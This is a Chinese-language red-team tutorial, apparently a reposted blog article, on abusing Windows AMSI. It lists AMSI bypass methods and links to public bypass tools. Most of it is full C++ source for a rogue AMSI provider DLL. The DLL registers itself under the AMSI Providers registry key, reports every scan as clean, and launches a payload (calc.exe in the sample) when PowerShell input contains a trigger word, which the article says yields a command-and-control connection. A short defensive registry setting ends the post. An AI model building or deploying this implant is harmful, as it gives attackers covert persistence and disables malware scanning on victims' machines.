0x01 前言
Microsoft 开发了 AMSI
(反恶意软件扫描接口)作为防御常见恶意软件执行和保护最终用户的方法。默认情况下,Windows Defender
与 AMSI API
交互以在执行期间使用 Windows Script Host
技术扫描 PowerShell 脚本、VBA 宏、JavaScript 和脚本,以防止任意执行代码。但是,其他防病毒产品可能包含对 AMSI
的支持,因此不限于使用 Windows Defender。网上也有很多介绍AMSI和绕过的文章,这里就不过多介绍!
0x02 AMSI 的工作原理
当用户执行脚本或启动 PowerShell 时,AMSI.dll
被注入进程内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。
-
AmsiScanBuffer()
-
AmsiScanString()
如果识别出已知签名,则不会启动执行,并且会出现一条消息,表明脚本已被防病毒软件阻止。下图说明了 AMSI 扫描的过程。
0x03 AMSI 规避
可以通过采取各种策略来逃避 AMSI,字符串和变量的修改、编码和混淆甚至可以恢复一些老的的策略。详细的步骤我发在了知识星球
-
PowerShell 降级 -
Base64 编码 -
Hooking -
内存补丁 -
强制出错 -
注册表项修改 -
DLL劫持
工具:
https://github.com/rasta-mouse/AmsiScanBufferBypass
https://gist.github.com/FatRodzianko/c8a76537b5a87b850c7d158728717998
https://gist.github.com/am0nsec/986db36000d82b39c73218facc557628
https://gist.github.com/am0nsec/854a6662f9df165789c8ed2b556e9597
https://github.com/med0x2e/NoAmci
https://github.com/tomcarver16/AmsiHook
0x04 AMSI Provider 实现持久化
可以提供恶意 DLL
并将其注册为提供者,我们就可以进行持久化以触发反恶意软件的“扫描请求”:)。此外,从Scan方法
传递要分析的内容,因此在powershell
的情况下,我们将有可能分析发送的命令,然后仅在特定条件下的情况下才触发恶意软件的执行
Scan方法的实现项目:https://github.com/netbiosX/AMSI-Provider
#include "stdafx.h"
#include <process.h>
#include <subauth.h>
#include <strsafe.h>
#include <amsi.h>
#include <windows.h>
#include <wrl/module.h>
using namespace Microsoft::WRL;
HMODULE g_currentModule;
typedef void (NTAPI* _RtlInitUnicodeString)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
typedef NTSYSAPI BOOLEAN(NTAPI* _RtlEqualUnicodeString)(
PUNICODE_STRING String1,
PUNICODE_STRING String2,
BOOLEAN CaseInsetive
);
DWORD WINAPI MyThreadFunction(LPVOID lpParam);
void ErrorHandler(LPTSTR lpszFunction);
BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
g_currentModule = module;
DisableThreadLibraryCalls(module);
Module<InProc>::GetModule().Create();
break;
case DLL_PROCESS_DETACH:
Module<InProc>::GetModule().Terminate();
break;
}
return TRUE;
}
#pragma region COM server boilerplate
HRESULT WINAPI DllCanUnloadNow()
{
return Module<InProc>::GetModule().Terminate() ? S_OK : S_FALSE;
}
STDAPI DllGetClassObject(_In_ REFCLSID rclsid, _In_ REFIID riid, _Outptr_ LPVOID FAR* ppv)
{
return Module<InProc>::GetModule().GetClassObject(rclsid, riid, ppv);
}
#pragma endregion
class
DECLSPEC_UUID("2E5D8A62-77F9-4F7B-A90C-2744820139B2")
PentestlabAmsiProvider : public RuntimeClass<RuntimeClassFlags<ClassicCom>, IAntimalwareProvider, FtmBase>
{
public:
IFACEMETHOD(Scan)(_In_ IAmsiStream * stream, _Out_ AMSI_RESULT * result) override;
IFACEMETHOD_(void, CloseSession)(_In_ ULONGLONG session) override;
IFACEMETHOD(DisplayName)(_Outptr_ LPWSTR * displayName) override;
private:
LONG m_requestNumber = 0;
};
HRESULT PentestlabAmsiProvider::Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)
{
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");
UNICODE_STRING myTriggerString1;
RtlInitUnicodeString(&myTriggerString1, L"xiaozhang");
UNICODE_STRING myTriggerString2;
RtlInitUnicodeString(&myTriggerString2, L""xiaozhang"");
UNICODE_STRING myTriggerString3;
RtlInitUnicodeString(&myTriggerString3, L"'xiaozhang'");
ULONG actualSize;
ULONGLONG contentSize;
if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ULONGLONG), reinterpret_cast<PBYTE>(&contentSize), &actualSize)) &&
actualSize == sizeof(ULONGLONG))
{
*result = AMSI_RESULT_NOT_DETECTED;
return S_OK;
}
PBYTE contentAddress;
if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(PBYTE), reinterpret_cast<PBYTE>(&contentAddress), &actualSize)) &&
actualSize == sizeof(PBYTE))
{
*result = AMSI_RESULT_NOT_DETECTED;
return S_OK;
}
if (contentAddress)
{
if (contentSize < 50)
{
UNICODE_STRING myuni;
myuni.Buffer = (PWSTR)contentAddress;
myuni.Length = (USHORT)contentSize;
myuni.MaximumLength = (USHORT)contentSize;
if (RtlEqualUnicodeString(&myTriggerString1, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString2, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString3, &myuni, TRUE))
{
DWORD thId;
CreateThread(NULL, 0, MyThreadFunction, NULL, 0, &thId);
}
}
}
*result = AMSI_RESULT_NOT_DETECTED;
return S_OK;
}
void PentestlabAmsiProvider::CloseSession(_In_ ULONGLONG session)
{
}
HRESULT PentestlabAmsiProvider::DisplayName(_Outptr_ LPWSTR* displayName)
{
*displayName = const_cast<LPWSTR>(L"Sample AMSI Provider");
return S_OK;
}
CoCreatableClass(PentestlabAmsiProvider);
DWORD WINAPI MyThreadFunction(LPVOID lpParam)
{
system("c:\Windows\System32\calc.exe");
return 0;
}
#pragma region Install / uninstall
HRESULT SetKeyStringValue(_In_ HKEY key, _In_opt_ PCWSTR subkey, _In_opt_ PCWSTR valueName, _In_ PCWSTR stringValue)
{
LONG status = RegSetKeyValue(key, subkey, valueName, REG_SZ, stringValue, (wcslen(stringValue) + 1) * sizeof(wchar_t));
return HRESULT_FROM_WIN32(status);
}
STDAPI DllRegisterServer()
{
wchar_t modulePath[MAX_PATH];
if (GetModuleFileName(g_currentModule, modulePath, ARRAYSIZE(modulePath)) >= ARRAYSIZE(modulePath))
{
return E_UNEXPECTED;
}
wchar_t clsidString[40];
if (StringFromGUID2(__uuidof(PentestlabAmsiProvider), clsidString, ARRAYSIZE(clsidString)) == 0)
{
return E_UNEXPECTED;
}
wchar_t keyPath[200];
HRESULT hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Classes\CLSID\%ls", clsidString);
if (FAILED(hr)) return hr;
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, L"PentestlabAmsiProvider");
if (FAILED(hr)) return hr;
hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Classes\CLSID\%ls\InProcServer32", clsidString);
if (FAILED(hr)) return hr;
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, modulePath);
if (FAILED(hr)) return hr;
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, L"ThreadingModel", L"Both");
if (FAILED(hr)) return hr;
// Register this CLSID as an anti-malware provider.
hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Microsoft\AMSI\Providers\%ls", clsidString);
if (FAILED(hr)) return hr;
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, L"PentestlabAmsiProvider");
if (FAILED(hr)) return hr;
return S_OK;
}
STDAPI DllUnregisterServer()
{
wchar_t clsidString[40];
if (StringFromGUID2(__uuidof(PentestlabAmsiProvider), clsidString, ARRAYSIZE(clsidString)) == 0)
{
return E_UNEXPECTED;
}
// Unregister this CLSID as an anti-malware provider.
wchar_t keyPath[200];
HRESULT hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Microsoft\AMSI\Providers\%ls", clsidString);
if (FAILED(hr)) return hr;
LONG status = RegDeleteTree(HKEY_LOCAL_MACHINE, keyPath);
if (status != NO_ERROR && status != ERROR_PATH_NOT_FOUND) return HRESULT_FROM_WIN32(status);
// Unregister this CLSID as a COM server.
hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Classes\CLSID\%ls", clsidString);
if (FAILED(hr)) return hr;
status = RegDeleteTree(HKEY_LOCAL_MACHINE, keyPath);
if (status != NO_ERROR && status != ERROR_PATH_NOT_FOUND) return HRESULT_FROM_WIN32(status);
return S_OK;
}
#pragma endregion
使用CMD开始执行regsvr32 AmsiProvider.dll
接下来查看注册表项,里面将包含任意 AMSI 提供程序。
HKEY_LOCAL_MACHINESOFTWAREMicrosoftAMSIProviders
当在 PowerShell
传递关键字时,将执行目标有效负载,并且将接收回与命令和控制服务器的连接。
0x05 结尾
防范:从 Windows 10 1903 版本开始,Microsoft 引入了一种方法来为提供程序启用 Authenticode + Windows 硬件质量实验室 (WHQL) 签名检查。但默认情况下不启用此功能。要启用 Authenticode + Windows 硬件质量实验室 (WHQL) 签名检查,请设置密钥
计算机HKEY_LOCAL_MACHINESOFTWAREMicrosoftAMSIFeatureBits
到 0x2 (DWORD)
原文始发于微信公众号(不懂安全的校长):红队技巧 | 持久化攻击(绕过AMSI)